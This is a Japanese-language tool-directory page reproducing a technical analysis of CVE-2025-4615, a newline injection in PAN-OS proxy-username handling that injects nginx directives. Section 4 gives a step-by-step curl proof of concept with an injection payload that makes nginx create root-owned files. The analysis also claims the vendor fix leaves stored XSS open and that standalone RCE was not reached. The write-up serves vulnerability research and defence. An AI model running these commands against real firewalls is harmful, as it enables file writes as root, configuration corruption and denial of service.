Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2025-4615 — cve-2025-4615 poc & 深掘り | Kitploit
ツール/GitHubGitHub/sh00bx/cve-2025-4615
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用構成監査ペネトレーションテスト
GitHubsh00bx/cve-2025-4615

cve-2025-4615

cve-2025-4615 poc & 深掘り

リポジトリを見る
35ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-4615 — 技術分析と概念実証

脆弱性: PAN-OS管理Webインターフェースにおける入力の中立化不備
ベンダーアドバイザリ: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9(中)— 完全性 高、可用性 高
CWE: CWE-83(Webページの属性におけるスクリプトの中立化不備)
CAPEC: CAPEC-165(ファイル操作)
クレジット: Visa Inc.
分析日: 2026-03-26


1. エグゼクティブサマリー

CVE-2025-4615は、Palo Alto Networks PAN-OSのsecure-proxy-user設定フィールドにおける改行挿入脆弱性です。認証された管理者は、XML APIまたはWebインターフェースを介してプロキシのユーザー名に改行文字(\n)を挿入できます。コミット時に、この値はサニタイズされずに/etc/nginx/nginx.confに書き込まれ、コメント行から逸脱して任意のnginxディレクティブを注入します。

影響:

  • 注入されたaccess_logディレクティブによるroot権限での任意のファイル作成/書き込み
  • サービス拒否(DoS) — 無効なディレクティブがnginxのリロードを妨げ、管理インターフェースを停止させる
  • 複数のシステム設定ファイルの設定破損

注: ベンダーの修正(改行文字の除去)は不完全です。出力エンコーディングや文字許可リストが適用されていないため、同じフィールドは**保存型クロスサイトスクリプティング(XSS)**に対して引き続き脆弱です。


2. 根本原因分析

2.1 注入ポイント

ツールをダウンロード

secure-proxy-userフィールドは、PAN-OSスキーマ(schema.xml)で入力サニタイズなしのプレーンな文字列として定義されています。

root@kitploit:~
<element name="secure-proxy-user" optional="yes" type="string"
         help-string="Secure Proxy user name to use"/>

注: secure-proxy-serverには正規表現制約(regex="^([0-9a-zA-Z.:/_-])+$")がありますが、secure-proxy-userにはありません。31文字の長さ制限はありますが、文字制限はありません。

2.2 脆弱なコンフィグライター

コミット時に、PAN-OSはテンプレート(/etc/nginx/nginx.conf.tmpl)から/etc/nginx/nginx.confを再生成します。テンプレートには以下が含まれます。

root@kitploit:~
#pan_proxy_comment %s

%sプレースホルダーは、libpanmp_mp.soライブラリ関数によって埋められます。この関数はプロキシサーバー、ユーザー名、暗号化されたパスワードを1つの文字列に連結します。脆弱なバージョンでは、ユーザー名内の改行文字がそのまま渡されます。

2.3 結果として生じるnginx.confの破損

secure-proxy-userにa\naccess_log /tmp/pwn3;\n#が含まれている場合、生成されるnginx.confは以下のようになります。

root@kitploit:~
  #pan_proxy_comment 8.8.8.9 a        — コメント(無害)
access_log /tmp/pwn3;                  — 注入されたディレクティブ(nginxによって実行!)
# -AQ==encrypted_password==            — 注入された#によってパスワードがコメントアウトされる

1行目はコメントです。2行目はhttpブロックレベルでの有効なnginxディレクティブです。3行目は攻撃者の#文字によって無力化されます。

2.4 これが危険な理由

nginxのマスタープロセスはrootとして実行されます。access_logディレクティブにより、nginxはrootとして対象ファイルを開くか作成します。これにより、以下が可能になります。

  1. ファイルシステム上の任意の場所への任意のファイル作成
  2. 任意のファイル書き込み(HTTPアクセスログの内容が追記される)
  3. 無効なディレクティブが注入された場合のDoS(nginxがリロードを拒否する)

3. 修正(とその限界)

修正されたバージョン(11.1.13)では、コンフィグライターがnginx.confに書き込む前にプロキシユーザー名から改行文字を取り除きます。同じ悪意のある値は以下のように生成されます。

root@kitploit:~
  #pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==

すべてが1行に収まり、#コメント内に安全に収まります。

ただし、この修正は不完全です。 改行注入にしか対応していません。secure-proxy-userフィールドは引き続き任意の文字("、<、>を含む)を出力エンコーディングなしで受け入れるため、保存型XSSのベクターは広く開放されたままです。unit-43-xssを参照してください。


4. 概念実証

前提条件

  • PAN-OS管理への認証済み管理者アクセス(APIまたはWeb UI)
  • 設定済みのsecure-proxy-server(プロキシコメントを表示するために必要)

ステップ1: APIキーの取得

root@kitploit:~
curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"

ステップ2: プロキシサーバーの設定(未設定の場合)

root@kitploit:~
curl -sk -X POST "https://<PANOS_IP>/api/" \
  --data-urlencode "type=config" \
  --data-urlencode "action=set" \
  --data-urlencode "key=<APIKEY>" \
  --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
  --data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"

ステップ3: 悪意のあるプロキシユーザー名の注入

root@kitploit:~
# ペイロード: "a\naccess_log /tmp/pwn3;\n#"
# 合計: 26文字(31文字制限内)
# 注入内容: access_log /tmp/pwn3; — rootとして /tmp/pwn3 を作成

curl -sk -X POST "https://<PANOS_IP>/api/" \
  --data-urlencode "type=config" \
  --data-urlencode "action=set" \
  --data-urlencode "key=<APIKEY>" \
  --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
  --data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'

ステップ4: 設定のコミット

root@kitploit:~
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"

ステップ5: 確認

コミット完了後(約30秒):

  • /tmp/pwn3 がroot所有で作成される
  • nginx -t -c /etc/nginx/nginx.conf が報告: syntax is ok
  • nginxが注入されたディレクティブで正常にリロードされる

5. 伝播分析

サニタイズされていないsecure-proxy-userの値は複数のファイルに伝播します。

ファイル影響
/etc/nginx/nginx.conf重大 — nginxディレクティブ注入
/opt/pancfg/tmp/.tdb_conf.xmlテンプレートDB設定(XML注入)
/opt/pancfg/mgmt/audit/cfg-audit.xml,v監査トレイルの破損
/opt/pancfg/mgmt/replaydb/replay.dbリプレイデータベースの破損
XSL生成のデーモン設定(authd、cord、useriddなど)XML値に改行が保持される

curlrc(/root/.curlrc)およびwgetrc(/root/.wgetrc)のライターは、脆弱なバージョンでも改行を除去します。nginx.confライターだけがサニタイズされていないパスでした。


6. RCE評価

11の攻撃ベクターを広範囲にテストした結果、PAN-OS 11.1.6-h7(nginx 1.20.1)ではCVE-2025-4615単独でのスタンドアロンのOSレベルRCEは達成できないことが確認されました。3つの重要な障害:

  1. nginxの\x0Aエスケープ — ログファイルへの生の改行注入を防止し、vixie-cronがガベージ行を許容するにもかかわらず(ラボで確認: cronはガベージに囲まれた有効な行を実行する)、cron注入をブロックする
  2. 31文字制限 — log_format + access_logを組み合わせて書き込みファイルの内容を制御することを妨げる
  3. curlrc/wgetrcの改行除去 — 二次的なファイル書き込みチャネルを排除する

アドバイザリの「任意のコマンドを実行」は、OSレベルのコマンド実行ではなく、任意のnginxディレクティブを指す可能性が高いです。これはCVSSのVC:N(機密性への影響なし)と修正の性質と一致します。

3つの障害のいずれかが存在しなければ、cron注入によるRCEは簡単に達成可能でした。


分析は隔離されたラボ環境で、PAN-OS 11.1.6-h7(脆弱)およびPAN-OS 11.1.13(修正版)を使用して実施されました。